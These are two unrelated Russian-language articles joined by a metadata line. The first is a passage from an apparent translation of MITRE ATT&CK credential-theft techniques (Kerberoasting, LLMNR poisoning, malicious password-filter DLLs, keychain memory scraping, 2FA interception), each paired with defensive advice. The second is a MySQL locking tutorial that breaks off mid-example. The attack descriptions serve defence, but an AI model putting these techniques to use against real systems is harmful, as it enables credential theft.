Злоумышленники, имеющие действующий билет Kerberos ticket-granting ticket (TGT) могут запросить у службы Kerberos ticket-granting service (TGS) один или несколько сервисных билетов (service ticket) для взаимодействия с любым SPN, зарегистрированным на контроллере домена. Элементы сервисных билетов могут быть зашифрованы алгоритмом RC4, таким образом Kerberos 5 TGS-REP etype 23, который содержит хэш пароля учетной записи, связанной с целевой SPN и используемый в качестве приватного ключа (см. описание Kerberos) является уязвимым и подвержен взлому посредством брутфорса. Эта же атака может быть выполнена с использованием сервисных билетов, полученных из сетевого трафика. Взломав полученный хэш противник может использовать действующую учетную запись для закрепления в системе, эскалации привилегий или дальнейшего продвижения по сети.
*Рекомендации по защите:* Применяйте сложные и длинные пароли (идеальный вариант 25+ знаков) для учетных записей служб и обеспечьте периодичность их смены. В ОС начиная с Windows Server 2012 доступна технология Group Managed Service Accounts (gMSA), которая предназначена для автоматической смены пароля служебных (технологических) учетных записей с возможностью их одновременного использования на нескольких серверах. В качестве альтернативы рассмотрите возможность использования хранилищ паролей сторонних производителей.
Ограничивайте права учетных записей предоставляя минимальные требуемые привилегии, исключайте членство учетных записей в привилегированных группах типа Domain Admins.
По возможности включите шифрование AES Kerboros или другой более сильный алгоритм шифрования, исключив использование RC4.
Включите аудит Kerberos Service Ticket Operations для журналирования запросов билетов службы Kerberos TGS. Исследуйте аномальные шаблоны активности, например, события Event ID 4769 — учетные записи, выполняющие многочисленные запросы в течение небольшого периода времени, особенно, если они запрашивали шифрование RC4 (Ticket Encryption Type: 0x17).
### [Keychain](https://attack.mitre.org/wiki/Technique/T1142)
*Система:* macOS
*Права:* root
*Описание:* Keychain (англ. «связка ключей») — это встроенное в macOS хранилище учетных записей и паролей для множества сервисов и фичей, таких как WiFi, веб-сайты, защищенные заметки, сертификаты и Kerberos. Файлы Keychain расположены в:
• *~/Library/Keychains;
• /Library/Keychains;
• /Network/Linrary/Keychains/.*
Встроенная по умолчанию в macOS консольная утилита *Security* предоставляет удобный способ управления учетными данными.
Для управления своими учетными данными пользователи должны использовать дополнительную учетную запись, предоставляющую доступ к их связке ключей. Если злоумышленник знает учетные данные от связки ключей пользователя, то он может получить доступ ко всем остальным учетным данным, хранящимся в keychains этого пользователя. По умолчанию, для входа в Keychains применяется текущая учетная запись пользователя для входа в систему.
*Рекомендации по защите:* Разблокировка Keychains пользователя и использование из неё паролей — распространенный процесс, который не останется без внимания средств обнаружения вредоносной активности.
### [Отравление LLMNR/NBT-NS (LLMNR/NBT-NS Poisoning)](https://attack.mitre.org/wiki/Technique/T1171)
*Система:* Windows
*Права:* Пользователь
*Описание:* Link-Local Multicast Name Resolution (LLMNR) и NetBIOS Name Service (NBT-NS) — это протоколы, включенные во все версии Windows, которые служат альтернативным способом идентификации хоста. LLMNR базируется на формате DNS и разрешает сетевые имена соседних компьютеров без использования DNS. NBT-NS идентифицирует систему в локальной сети по её NetBIOS-имени.
Злоумышленник может подделать доверенный источник разрешения имен, который будет отвечать на трафик LLMNR (UDP5355)/NBT-NS(UDP137), чтобы жертва коммуницировала с контролируемой противником системой. Если запрашиваемый хост потребует идентификации/аутентификации, то имя пользователя и хеш NTLMv2 текущего пользователя хоста-жертвы будут отправлены в контролируемую противником систему. Таким образом, злоумышленник с помощью сетевого сниффера может собирать передаваемые хэши и затем в автономном режиме пытаться получить из них пароли с помощью средств перебора.
Существует несколько инструментов, которые могут использоваться для атак на службы имен в локальных сетях: NBNSpoof, Metasploit и Responder.
*Рекомендации по защите:* Рассмотрите возможно отключения LLMNR и NBT-NS в локальных настройках безопасности хоста или с помощью групповой политики. Используйте локальные средства безопасности, блокирующие LLMNR/NBT-NS-траффик.
Проверьте, что LLMNR отключен в реестре:
`HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast=dword:00000000`.
Если LLMNR/NBT-NS отключены политикой безопасности, то мониторинг трафика портов UDP5355 и UDP137 поможет обнаружить атаку.
### [Прослушивание сети (Network Sniffing)](https://attack.mitre.org/wiki/Technique/T1040)
*Система:* Windows, Linux, macOS
*Описание:* Злоумышленник может использовать сетевой интерфейс в режиме promiscuos mode («неразборчивый» режим), в котором сетевая плата будет принимать все пакеты независимо от того кому они адресованы или использовать span-порты (порты зеркалирования) для захвата большого объема данных, передаваемых по проводным или беспроводным сетям.
Захваченные в ходе сниффинга данные могут содержать учетные данные отправленные через незащищенные соединения без использования протоколов шифрования. Различные атаки на сетевые службы имен типа отравления LLMNR/NBT-NS путем перенаправления трафика также могут использоваться для сбора учетных данных на веб-сайтах, прокси-серверах и внутренних системах.
В ходе прослушивание сети противник так же может выявить различные сведения о конфигурации (запущенные службы, номера версий, IP-адреса, имена хостов, VLAN ID и т.п.) необходимые для дальнейшего продвижения по сети и/или обхода средств защиты.
*Рекомендации по защите:* Убедитесь, что беспроводной трафик соответствующим образом зашифрован. По возможности, используйте Kerberos, SSL и многофакторную аутентификацию. Проводите мониторинг сетевых коммутаторов на предмет использования span-портов, отравления ARP/DNS и несанкционированных изменений конфигурации маршрутизатора.
Применяйте средства выявления и блокировки потенциально-опасного ПО, которое может быть использовано для перехвата и анализа сетевого трафика.
### [DLL-библиотеки фильтров паролей (Password Filter DLL)](https://attack.mitre.org/wiki/Technique/T1174)
*Система:* Windows
*Права:* Администратор, System
*Описание:* Фильтры паролей Windows — механизмы применения парольной политики для доменных и локальных учетных записей. Фильтры реализованы в виде DLL-библиотек, содержащих методы проверки соответствия потенциальных паролей требованиям политики безопасности. DLL фильтров паролей размещаются на хостах для локальных учетных записей и контроллерах домена для доменных аккаунтов.
Перед регистрацией новых паролей в Security Accounts Manager (SAM), служба Local Security Authority (LSA) запрашивает проверку паролей каждым зарегистрированным в системе фильтром паролей. Любые потенциальные изменения не вступят в силу прока каждый фильтр не подтвердит успешность проверки.
Злоумышленник может зарегистрировать в атакуемой системе вредоносные фильтры паролей с целью сбора учетных данных. Для проведения проверки сложности фильтры получают от LSA пароли открытым текстом. Вредоносные фильтры будут получать учетные данные открытым текстом при каждом запросе пароля.
*Рекомендации по защите:* Убедитесь, что в вашей системе зарегистрированы только валидные фильтры паролей. DLL фильтров по умолчанию хранятся в *C:\Windows\System32\* и должны иметь соответствующую запись в реестре:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\[Notification Packages]`.
Вновь установленные фильтры паролей вступают в силу после перезагрузки системы, появляются в автозапуске и загружены в lsass.exe
### [Секретные ключи (Private Keys)](https://attack.mitre.org/wiki/Technique/T1145)
*Система:* Windows, Linux, macOS
*Права:* Пользователь
*Описание:* Закрытые ключи и сертификаты используются для аутентификации, шифрования/дешифрования и цифровых подписей.
Злоумышленник может собирать секретные ключи на компрометированных системах для дальнейшего использования при аутентификации в сервисах удаленных подключений типа SSH или расшифровки других собранных файлов, например, файлов данных электронной почты.
Файлы ключей и сертификатов имеют такие расширения как *.key, .pgp, .gpg, .ppk, .P12, .pem, .pfx, .cer, p7b, .asc*. Противник может искать файлы в каталогах ключей, например *~/.ssh* в \*nix-системах или *C:\Users (username.ssh)\* в Windows.
В процессе использования закрытые ключи должны запрашивать пароль или парольную фразу, поэтому противник параллельно может использовать технику захвата ввода для кейлоггинга или пытаться подобрать парольную фразу в автономном режиме.
*Рекомендации по защите:* Используйте сложные парольные фразы, чтобы затруднить взлом секретных ключей. Храните ключи на внешних криптографических носителях когда это возможно. Убедитесь, что доступ к критичным ресурсам открыт только для авторизованных ключей и регулярно проверяйте списки доступа.
Убедитесь в правильности разрешений в папках, содержащих секретные ключи. Используйте изолированную инфраструктуру для управления критическими системами, чтобы предотвратить коллизии учетных записей и разрешений, которые могут использоваться для перемещения по сети. Следуйте рекомендациям по защите от техник злоупотребления действующими учетными записями.
Организуйте мониторинг доступа к файлам и каталогам, связанным с криптографическими ключами и сертификатами, а также проводите аудит журналов проверки подлинности, выявляя аномальные действия, указывающие на неправильное использование ключей или сертификатов для удаленной проверки подлинности.
### [Взлом цепочки паролей в OS X (Securityd Memory)](https://attack.mitre.org/wiki/Technique/T1167)
*Система:* macOS
*Права:* root
*Описание:* В OS X до версии EL Capitan пользователи с правами root могут читать из Keychain пароли вошедших в систему пользователей в виде открытого текста. Это связано с тем, что для удобства пользователей Apple позволяет системе кэшировать учетные данные, чтобы не запрашивать у пользователей их повторный ввод при каждой необходимости.
Пароли, хранящиеся в связке Keychain многократно зашифрованы с помощью набора ключей. Ключи в свою очередь зашифрованы с помощью других ключей, хранящихся в том же файле, наподобие русской матрёшки. Мастер-ключ, который может открыть внешнюю матрешку и каскадно запустить расшифровку следующей матрешки представляет собой нечто иное, как зашифрованный с помощью PBKDF2 пароль, с которым пользователь вошёл в систему. Таким образом, для чтения первого пароля в пользовательской цепочке паролей необходим его пароль для входа или мастер-ключ. Обработка операций с keychain осуществляется процессом securityd, для этого в его памяти хранится мастер-ключ.
Имя права root, злоумышленник может сканировать память с целью поиска ключей шифрования цепочки keychain поэтапно расшифровав всю последовательность паролей пользователя, WiFi, почты, браузеров, сертификатов и т.п.
### [Перехват двух-факторной аутентификации (Two-Factor Authentication Interception)](https://attack.mitre.org/wiki/Technique/T1111)
*Система:* Windows, Linux, macOS
*Права:* Администратор, System, root
*Описание:* Использование двухфакторной и многофакторной аутентификации обеспечивает более высокий уровень безопасности, чем одна связка логин/пароль, однако организации должны знать о методах перехвата и обхода этих механизмов безопасности.
Злоумышленники могут целенаправленно использовать такие механизмы аутентификации как смарт-карты, для получения доступа в систему, сервисам и сетевым ресурсам.
Если для двухфакторной аутентификации (2FA) используется смарт-карта, то для получения пароля, связанного со смарт-картой при обычном использовании потребуется кейлоггер. Как со вставленной смарт-картой так и с паролем доступа к смарт-карте противник может подключиться к сетевому ресурсу, используя зараженную систему для проксирования аутентификации с использованием вставленного аппаратного токена.
Злоумышленники могут также нацелить кейлоггер для аналогичной атаки на другие аппаратные токены, такие как RSA SecurID. Захват ввода токена (включая личный идентификационный код пользователя) может обеспечить противнику временный доступ на период действия полученного одноразового пароля, а возможно позволит ему вычислить будущие значения одноразовых паролей (зная алгоритм и начальное значение для генерации последующих временных паролей).
Другие методы 2FA также могут быть перехвачены и использованы противником для несанкционированной аутентификации. Обычно однократные коды отправляются по внеполосным каналам связи (смс, электронная почта и т.п.). Если устройство и\или служба не защищены, то они могут быть уязвимы для перехвата.
*Рекомендации по защите:* Обеспечьте удаление смарт-карт, когда они не используются. Защищайте устройства и службы, используемые для передачи и получения внеполосных кодов. Выявляйте и блокируйте потенциально-опасное и вредоносное ПО, которое может использоваться для перехвата учетных данных в 2FA. | https://habr.com/ru/post/433566/ | null | ru | null |
# Блокировки MySQL: виды, проблемы и способы обнаружения
Рано или поздно любой разработчик или администратор СУБД, имеющий дело с MySQL, сталкивается с проблемой блокировок. Всё дело в природе MySQL как системы с конкурентным доступом на чтение/запись. Я расскажу о видах блокировок в MySQL, их преимуществах и недостатках, о проблемах, которые они вызывают, а также дам полезные советы по обнаружению и способам борьбы с блокировками.
**Примечание: Для полного понимания статьи я очень рекомендую ознакомиться с темой** [**транзакций**](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D1%8F_(%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) **и их** [**уровнями изолированности**](https://ru.wikipedia.org/wiki/%D0%A3%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C_%D0%B8%D0%B7%D0%BE%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8_%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D0%B9) **в базах данных.**
### Краткая аналогия с блокировками баз данных
Представим, что вы разрабатываете программу для совместного редактирования текстовых документов, наподобие Google Docs. Вы закончили работу над первой версией и обнаружили, что ваши пользователи, работающие одновременно в программе, перетирают изменения друг друга. Вы решаете добавить в базу данных какое-нибудь булево значение is\_locked, которое будет принимать значение true, если документ открыт пользователем. И если в этом случае другой пользователь попытается редактировать документ, ему придется подождать, пока первый не закончит свою работу. Такая схема будет работать, но не позволит поддерживать одновременное редактирование документа, поскольку только один пользователь сможет изменять документ в текущий момент времени.
Чтение документа, на первый взгляд, не имеет проблем. Что плохого, когда несколько пользователей читают документ? Однако что произойдет, если кто-нибудь из администраторов решит удалить документ, который открыт у пользователей? То есть даже чтение документов требует некоторых мер предосторожности.
Если представить, что набор документов — это таблица в базе данных, а каждый документ — это строка, то очень легко понять, что в базах данных присутствуют подобные проблемы. И тут мы приходим к классической задаче управления конкурентным доступом.
### Конкурентный доступ и виды блокировок
Конкурентный доступ является одной из главных проблем в системах управления базами данных. Что делать, когда несколько клиентов пытаются изменить одни и те же данные? А что если один из клиентов пытается получить данные, изменяемые другим в этот же момент времени? Можно привести много подобных примеров. Для разрешения этой проблемы в MySQL используется два типа блокировок: *разделяемые (shared locks)* и *монолитные (exclusive locks)*. Их ещё называют *блокировками на чтение* и *на запись.* Блокировки **на чтение** являются разделяемыми, или *неблокирующими*. Это означает, что множество клиентов может читать запись в одно и то же время. Блокировки **на запись** являются эксклюзивными, то есть они не дадут другим клиентам захватывать блокировки на чтение/запись, поскольку это единственный безопасный способ гарантировать наличие единственного клиента, записывающего в данный момент времени.
#### Табличные блокировки
MySQL использует табличные блокировки для подсистем хранения MyISAM, MEMORY, MERGE, но вы можете явно заблокировать таблицу в любой подсистеме хранения командой LOCK TABLES, о которой мы поговорим ниже.
Табличная блокировка аналогична примеру выше. Когда клиент хочет записать что-нибудь в таблицу, он захватывает монолитную блокировку (exclusive lock) ко всей таблице. Остальные клиенты должны дождаться снятия блокировки. Если в текущий момент нет клиентов, которые изменяют данные, то все клиенты, читающие их, захватывают разделяемую блокировку (shared lock), которая не будет конфликтовать с другими блокировками на чтение.
Сервер MySQL содержит две очереди табличных блокировок, называемые *read lock queue* (*очередь блокировок на чтение*) и *write lock queue* (*очередь блокировок на запись*). Очередь блокировок на запись имеет приоритет перед очередью блокировок на чтение, то есть, если очередь блокировок на запись не пуста, то сервер MySQL будет освобождать её, пока она не опустеет, и только потом приступит к очереди блокировок на чтение. Это поведение можно изменить, запустив сервер MySQL с флагом --low-priority-updates, тогда очередь блокировок на чтение получит более высокий приоритет.
Проанализировать конкуренцию за блокировку таблиц можно командой
```
SHOW STATUS LIKE ‘Table%’.
```
| | |
| --- | --- |
| Variable\_name | Value |
| Table\_locks\_immediate | 12931 |
| Table\_locks\_waited | 1932 |
Переменная Table\_locks\_immediate показывает количество раз, когда запрос на табличную блокировку был удовлетворен моментально. А Table\_locks\_waited показывает, сколько раз требовалось ожидать применения блокировки. Если это значение велико, то у вас проблемы с производительностью.
Преимущества табличных блокировок:
1. Требуют относительно небольшого объема памяти.
2. Быстрая работа при блокировке большого количества таблиц.
3. Быстрая работа при операциях GROUP BY или при полном сканировании таблиц.
4. Хорошо подходят для приложений, в которых данные изменяются редко.
5. Отсутствие взаимоблокировок (deadlocks), к которым мы еще вернемся.
Недостатки табличных блокировок:
1. Отсутствие параллелизма для операций изменения таблиц.
2. Из-за монолитной блокировки на запись все остальные операции вынуждены будут дожидаться окончания записи, в том числе выражения типа SELECT.
3. Операции на изменение должны дождаться, пока текущая блокировка на чтение не освободится.
Учитывая достоинства и недостатки табличных блокировок, я рекомендую использовать их только для таблиц, которые часто запрашиваются и редко изменяются (еще лучше, если никогда не изменяются).
#### Пользовательские блокировки
Пользовательскую блокировку можно получить с помощью функции GET\_LOCK(**key**, **timeout**), где key — произвольный строковый ключ длиной до 64 символов, а timeout — таймаут в секундах. Отрицательное значение таймаута означает бесконечное время ожидания.
```
SELECT GET_LOCK(‘key’, 10);
```
Пользовательская блокировка применяется не к строке или таблице, это монолитная блокировка произвольного строкового значения. По-сути, именованный мьютекс. Вы задаете строку (ключ), которую хотите заблокировать, и указываете таймаут.
Снять пользовательскую блокировку можно явно командой RELEASE\_LOCK(**key**). Второй случай снятия — неявно при завершении сеанса, в том числе аварийном. И третий случай — по истечении таймаута.
Такой вид блокировок используется, когда нужно блокировать операции со стороны приложения. Или когда у вас есть несколько приложений, работающих с одной базой данных.
Преимущества пользовательских блокировок:
1. Позволяют использовать одну блокировку для всех приложений, работающих с одной базой данных.
2. Позволяют реализовать блокировку на уровне приложения.
3. Позволяют реализовать подобие транзакций в тех движках, в которых они отсутствуют.
4. Имеют меньшие издержки, чем транзакции.
Недостатки пользовательских блокировок:
1. Небезопасно использовать с репликацией на основе SQL-выражений (покомандная репликация).
2. Из-за возможности вызвать сколько угодно команд GET\_LOCK в рамках одного сеанса есть опасность применить слишком много блокировок в цикле вашей программы или, например, командой INSERT INTO … SELECT GET\_LOCK(t1.col\_name) FROM t1.
3. Такие блокировки не снимаются при фиксации или откате транзакций.
4. До версии 5.7 команда GET\_LOCK имела очень опасное для ваших данных поведение, если вы применяли её к ключу, который уже был заблокирован этой командой.
#### Глобальные блокировки
Глобальная блокировка закрывает на чтение все открытые таблицы для всех баз данных. Применить её можно только с помощью команды `FLUSH TABLES WITH READ LOCK`. Это удобно для создания резервной копии. Однако стоит иметь в виду два момента:
1. Команда конфликтует с другими табличными блокировками.
2. Команда вызовет снятие всех предыдущих блокировок, вызванных командой LOCK TABLES, как будто вы выполнили команду UNLOCK TABLES.
Снять глобальную блокировку можно командой `UNLOCK TABLES`.
Преимущества глобальных блокировок:
1. Очень удобный способ получения резервной копии.
2. Эту команду используют как трюк для быстрого alter таблиц через подмену .frm-файлов.
3. Не так затратна, как полная остановка сервера, так как бОльшая часть информации остается кешированной в памяти и сервер «прогрет».
4. Используется для восстановления на конкретный момент времени.
Недостатки глобальных блокировок:
1. Требует более глубоких знаний администрирования MySQL. **Не используйте эту команду, если не знаете, что делаете. Это может привести к глобальной блокировке вашей базы данных на очень долгое время.**
2. На получение глобальной блокировки может уйти довольно много времени, поскольку команда ждет завершения всех операторов SELECT. В это время все остальные запросы будут вынуждены простаивать, неизвестно как долго.
3. В случае с таблицами MyISAM при большом объеме избыточного кеша придется ждать еще больше, так как ему необходимо сбросить блоки ключей на диск.
#### Построчные блокировки
Блокировки на уровне строк доступны в подсистеме хранения Archive, InnoDB и её форке XtraDB от Percona. Построчные блокировки реализуются только подсистемами хранения, а не сервером MySQL.
Идея проста: для улучшения конкурентного доступа мы не будем блокировать таблицу целиком, вместо этого мы заблокируем только ту часть таблицы, которую намерены изменить. А еще лучше, заблокируем только определенные фрагменты данных, чтобы другие запросы могли читать из этой строки или строк то, что мы не изменяем.
Например, если наш запрос изменяет поле balance в таблице Users, то мы можем заблокировать только это поле, чтобы дать возможность другому запросу читать данные first\_name, last\_name и age. Однако если другая транзакция захочет прочитать поле balance, ей придется подождать снятия блокировки.
Преимущества построчных блокировок:
1. Обеспечивают лучшее управление конкурентным доступом.
2. Позволяют одновременно выполнять несколько изменений одного ресурса (если они не конфликтуют друг с другом).
3. Позволяют заблокировать одну строку на долгое время.
4. Меньше конфликтов блокировок при доступе к разным строкам.
Недостатки построчных блокировок:
1. Влекут максимальные издержки.
2. Приводят к взаимоблокировкам (deadlocks).
3. Работают медленней табличных блокировок, если используется большая часть таблицы.
4. Работают намного медленней при полном сканировании таблицы или для группировок GROUP BY.
### Работа с блокировками
#### Табличные блокировки и команда LOCK TABLES
Табличные блокировки бывают явные и неявные. Явная захватывается командой `LOCK TABLES`. Синтаксис следующий:
```
LOCK TABLES table_name1 {lock_type}, table_name2 {lock_type}...table_name3 {lock_type};
```
где lock\_type — тип блокировки.
```
lock_type: {
READ [LOCAL] | WRITE
}
```
READ означает применение табличной блокировки на чтение, WRITE — на запись.
Особенности блокировки READ [LOCAL]:
* Клиент, удерживающий блокировку, может читать из таблиц (но не писать).
* Другие клиенты могут читать из таблиц без явной READ блокировки.
* Другие клиенты могут применять READ блокировку одновременно с вами.
* Модификатор LOCAL для движка MyISAM разрешает другим клиентам выполнять конкурентные INSERT-вставки во время удержания блокировки. Подробнее можно прочитать [здесь](https://dev.mysql.com/doc/refman/8.0/en/concurrent-inserts.html).
* Для InnoDB READ LOCAL то же самое, что и READ.
Особенности блокировки WRITE:
* Клиент, удерживающий блокировку, может читать и писать в таблицу.
* Другие клиенты не могут читать или изменять что-то в таблицах, поскольку блокировка монолитная.
* Запросы на блокирование таблицы другими клиентами будут отклонены, пока удерживается WRITE-блокировка.
* У WRITE есть модификатор LOW\_PRIORITY, который с версии 5.6 не имеет никакого эффекта.
Правильный способ сделать LOCK/UNLOCK TABLES при использовании транзакционных движков, таких как InnoDB, — это начинать транзакцию с SET autocommit = 0 (а не со START TRANSACTION), затем применить блокировку LOCK TABLES и не выполнять UNLOCK TABLES, пока транзакция не будет зафиксирована явно.
```
SET autocommit = 0;
LOCK TABLES drivers WRITE, clients READ;
<--делаем что-нибудь-->
COMMIT;
UNLOCK TABLES;
```
Почему этот способ правильный? Потому, что команда LOCK TABLES [неявно фиксирует транзакцию](https://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html) и если переменная autocommit будет в значении 1/ON, то после вызова LOCK TABLES INNODB неявно зафиксирует транзакцию. Такая ситуация может легко привести к взаимоблокировке (deadlock).
При использовании LOCK TABLES неявная блокировка таблиц применяется в двух случаях:
1. Таблицы, которые используются в триггерах, также будут заблокированы.
2. Все таблицы, связанные ограничениями внешних ключей, будут неявно заблокированы на чтение (LOCK TABLES READ). Для каскадных обновлений таблицы будут заблокированы на запись (LOCK TABLES WRITE).
Чем явные блокировки отличаются от неявных? На внутреннем уровне их структура одинакова, и управляются они одним и тем же кодом. На внешнем уровне разница лишь в том, что явные блокировки управляются с помощью команд LOCK TABLES и UNLOCK TABLES.
Однако всё это актуально для движка MyISAM. Табличные блокировки для других подсистем хранения ведут себя магическим образом. Когда сервер MySQL применяет и снимает неявные блокировки, он сообщает об этом подсистеме хранения, а та конвертирует эти блокировки, исходя из своих собственных потребностей.
Добавлю еще несколько моментов, которые стоит держать в голове при работе с командой LOCK TABLES:
* Вы не можете работать с таблицами, которые не перечислены в LOCK TABLES.
```
LOCK TABLES users WRITE;
INSERT INTO users (name) VALUES (‘Вася’); // успех
INSERT INTO drivers (name) VALUES (‘Петя’); // ошибка!
UNLOCK TABLES;
Error: Table 'drivers' was not locked with LOCK TABLES
```
Исключение — таблица INFORMATION\_SCHEMA.
* LOCK TABLES неявно снимает все блокировки таблиц, удерживаемых в текущем сеансе.
* Если вы используете псевдоним таблицы, то должны явно обращаться к этому псевдониму после LOCK TABLES.
```
LOCK TABLES drivers as d WRITE;
SELECT * FROM drivers;
UNLOCK TABLES:
Error: Table 'drivers' was not locked with LOCK TABLES
```
То же самое правило относится и к псевдониму в выражениях после LOCK TABLES.
```
LOCK TABLES drivers WRITE;
SELECT * FROM drivers as d;
UNLOCK TABLES:
Error: Table 'd' was not locked with LOCK TABLES
```
#### Работа с блокировками на уровне строк в InnoDB и транзакции
#### Множественная блокировка гранулярности
Блокировки на уровне строк тесно связаны с транзакционным механизмом. Как я уже писал выше, блокировки делятся на разделяемые (shared locks) и монолитные (exclusive locks). Назовем их S и X соответственно.
Если транзакция T1 применила разделяемую блокировку к строке r, то запрос от второй транзакции T2 на блокировку этой строки обрабатывается по правилу:
* Запрос T2 на S-блокировку может быть удовлетворен. Обе транзакции удерживают блокировку строки r.
* Запрос T2 на X-блокировку не может быть удовлетворен. Транзакция T2 ожидает снятия блокировки T1.
Если транзакция T1 захватила монолитную блокировку к строке r, то запрос от второй транзакции T2 на любую (S или X) блокировку этой строки не может быть удовлетворен. Транзакция T2 ожидает снятия блокировки T1.
Но такой механизм не мог бы удовлетворить потребностям систем с большим конкурентным доступом, поскольку в таких системах также присутствуют табличные блокировки, которые будут конфликтовать с блокировками строк, и это может стоить нам потери параллелизма. Для решения этой проблемы в InnoDB была добавлена поддержка множественной блокировки гранулярности (Multiple granularity locking).
Под гранулярностью лучше всего представить некий элемент данных, который можно заблокировать, а множественную гранулярность стоит понимать как иерархическое разбиение базы данных на блоки, которые можно заблокировать. Можно провести аналогию с деревом, у которого самый верхний узел — это база данных, состоящая из файлов, которые, в свою очередь, состоят из записей. Каждый файл состоит из тех записей, которые являются его дочерними узлами, и никакая запись не может присутствовать более чем в одном файле.
Каждый узел в таком дереве может быть заблокирован индивидуально. Когда транзакция блокирует узел дерева в разделяемом или монопольном режиме, все остальные узлы этого дерева будут неявно заблокированы в том же самом режиме. Например, если транзакция блокировала файл F, то она неявно монопольно блокирует все записи, принадлежащие этому файлу. В этом случае нет необходимости явно блокировать каждую отдельную запись файла F.
Теперь, когда стало проще блокировать файлы и записи, как InnoDB определяет, можно ли заблокировать корневой узел? Как вариант — поиск по дереву, но это сводит на нет саму идею блокировки с множественной гранулярностью. Более эффективный способ получить эту информацию — ввести новый режим: блокировку с намерением.
#### Блокировки с намерением (Intention locks)
Блокировки с намерением, или преднамеренные блокировки — это блокировки на уровне таблицы, которые сообщают подсистеме хранения о том, какой тип блокировки (shared или exclusive) позже потребуется транзакции для строки в таблице. По-сути, это указание движку на тот факт, что где-то есть обычные блокировки.
Так же как обычные блокировки делятся на shared и exclusive, преднамеренные делятся на разделяемые преднамеренные (intention shared locks) и монолитные преднамеренные блокировки (intention exclusive locks). Назовем их IS и IX соответственно.
В документации MySQL приводится следующая таблица совместимости блокировок:
| | | | | |
| --- | --- | --- | --- | --- |
| | X | IX | S | IS |
| X | Конфликт | Конфликт | Конфликт | Конфликт |
| IX | Конфликт | Совместимы | Конфликт | Совместимы |
| S | Конфликт | Конфликт | Совместимы | Совместимы |
| IS | Конфликт | Совместимы | Совместимы | Совместимы |
Общие правило преднамеренных блокировок звучит так:
1. Прежде чем получить S-блокировку для строки r в таблице t, транзакция сначала должна получить IS или более сильную блокировку для таблицы t.
2. Прежде чем получить X-блокировку для строки r в таблице t, транзакция сначала должна получить IX-блокировку для таблицы t.
Если какой-то поток уже удерживает монопольную блокировку таблицы, то достаточно будет проверить только совместимость между монолитной и преднамеренной, а не проверять совместимость блокировки строки и таблицы. Это ускоряет проверку конфликтов.
Блокировки намерений не конфликтуют друг с другом, но блокировки таблиц конфликтуют как с IS, так и с IX, и наоборот. Не существует простого способа обнаружить конфликты блокировок на уровне строк и таблиц, но легко обнаружить конфликт между блокировками таблиц и преднамеренными блокировками.
Синтаксис блокировок с намерением чрезвычайно простой:
`SELECT … FOR SHARE [NOWAIT | SKIP LOCKED]` — намерение установить IS-блокировку.
`SELECT … FOR UPDATE [NOWAIT | SKIP LOCKED]` — намерение установить IX-блокировку.
Пара примеров, демонстрирующих совместимость на практике:
Пример 1:
```
# Транзакция 1 (IS)
SELECT id, name FROM drivers FOR SHARE;
# Транзакция 2 (S)
LOCK TABLES drivers READ;
SELECT * FROM drivers;
UNLOCK TABLES;
```
В этом случае транзакция 2 ничего не ждет, поскольку IS- и S-блокировки совместимы.
Пример 2:
```
# Транзакция 1 (IX)
SELECT id, name FROM drivers FOR UPDATE;
# Транзакция 2 (S)
LOCK TABLES drivers READ;
SELECT * FROM drivers;
UNLOCK TABLES;
```
Здесь транзакция 2 будет дожидаться окончания работы транзакции 1, поскольку IX- и S-блокировки конфликтуют между собой.
Оба типа преднамеренных блокировок имеют необязательные флаги **NOWAIT** и **SKIP LOCKED**. Обычно, если ваша транзакция хочет заблокировать строку, то она дожидается окончания текущих блокировок. Но если в запросе имеются один из этих флагов, то транзакция не будет дожидаться снятия блокировки и сразу же попробует захватить её сама. С флагом NOWAIT вы получите ошибку, если строка уже будет заблокирована. А в случае SKIP LOCKED заблокированная строка будет удалена из выборки.
Работа флагов на примере:
Пример с NOWAIT.
```
# Транзакция 1
START TRANSACTION;
SELECT id, name FROM drivers WHERE id = 1 FOR UPDATE;
# Транзакция 2
START TRANSACTION;
SELECT id, name FROM drivers WHERE id = 1 FOR UPDATE NOWAIT;
Error: Statement aborted because lock(s) could not be acquired immediately and NOWAIT is set.
```
Пример со SKIP LOCKED.
```
# Транзакция 1
START TRANSACTION;
SELECT id, name FROM drivers WHERE id = 1 FOR UPDATE;
# Транзакция 2
START TRANSACTION;
SELECT * FROM drivers FOR UPDATE SKIP LOCKED;
```
| | |
| --- | --- |
| id | name |
| 2 | second |
| 3 | third |
Примечания по работе с блокировками намерений:
* При блокировке строки (строк) SELECT … FOR SHARE, если эта строка (строки) были изменены транзакцией, которая еще не зафиксирована, ваш запрос будет ожидать фиксации транзакции, чтобы получить актуальные данные.
* До MySQL 8.0.22 SELECT … FOR SHARE требует SELECT-привилегий и, по крайней мере, одну привилегию из DELETE, LOCK TABLES, UPDATE. Начиная с 8.0.22 достаточно только привилегии SELECT.
* Во время блокировки SELECT … FOR UPDATE для записей индекса, обнаруженных при поиске, блокируются строки и все связанные с индексом записи, как если бы вы выполняли UPDATE этих строк. В этот момент все транзакции, которые пытаются изменить эти строки или выполнить SELECT … FOR SHARE этих записей, будут ждать снятия блокировки. Также эти записи будут заблокированы для SELECT уровне изоляции SERIALIZABLE, поскольку на этом уровне все выражения SELECT неявно приводятся к SELECT … FOR SHARE.
Пример 1:
```
# Транзакция 1
START TRANSACTION;
SELECT id, name FROM drivers WHERE id > 5 FOR UPDATE;
COMMIT;
# Транзакция 2
START TRANSACTION;
UPDATE drivers SET balance = balance + 50 WHERE id > 5;
COMMIT;
```
Пример 2:
```
# Транзакция 1
START TRANSACTION;
SELECT id, name FROM drivers WHERE id > 5 FOR UPDATE;
COMMIT;
# Транзакция 2
START TRANSACTION;
SELECT id, name FROM drivers WHERE id > 5 FOR SHARE;
COMMIT;
```
Пример 3:
```
# Транзакция 1
START TRANSACTION;
SELECT id, name FROM drivers WHERE id > 5 FOR UPDATE;
COMMIT;
# Транзакция 2
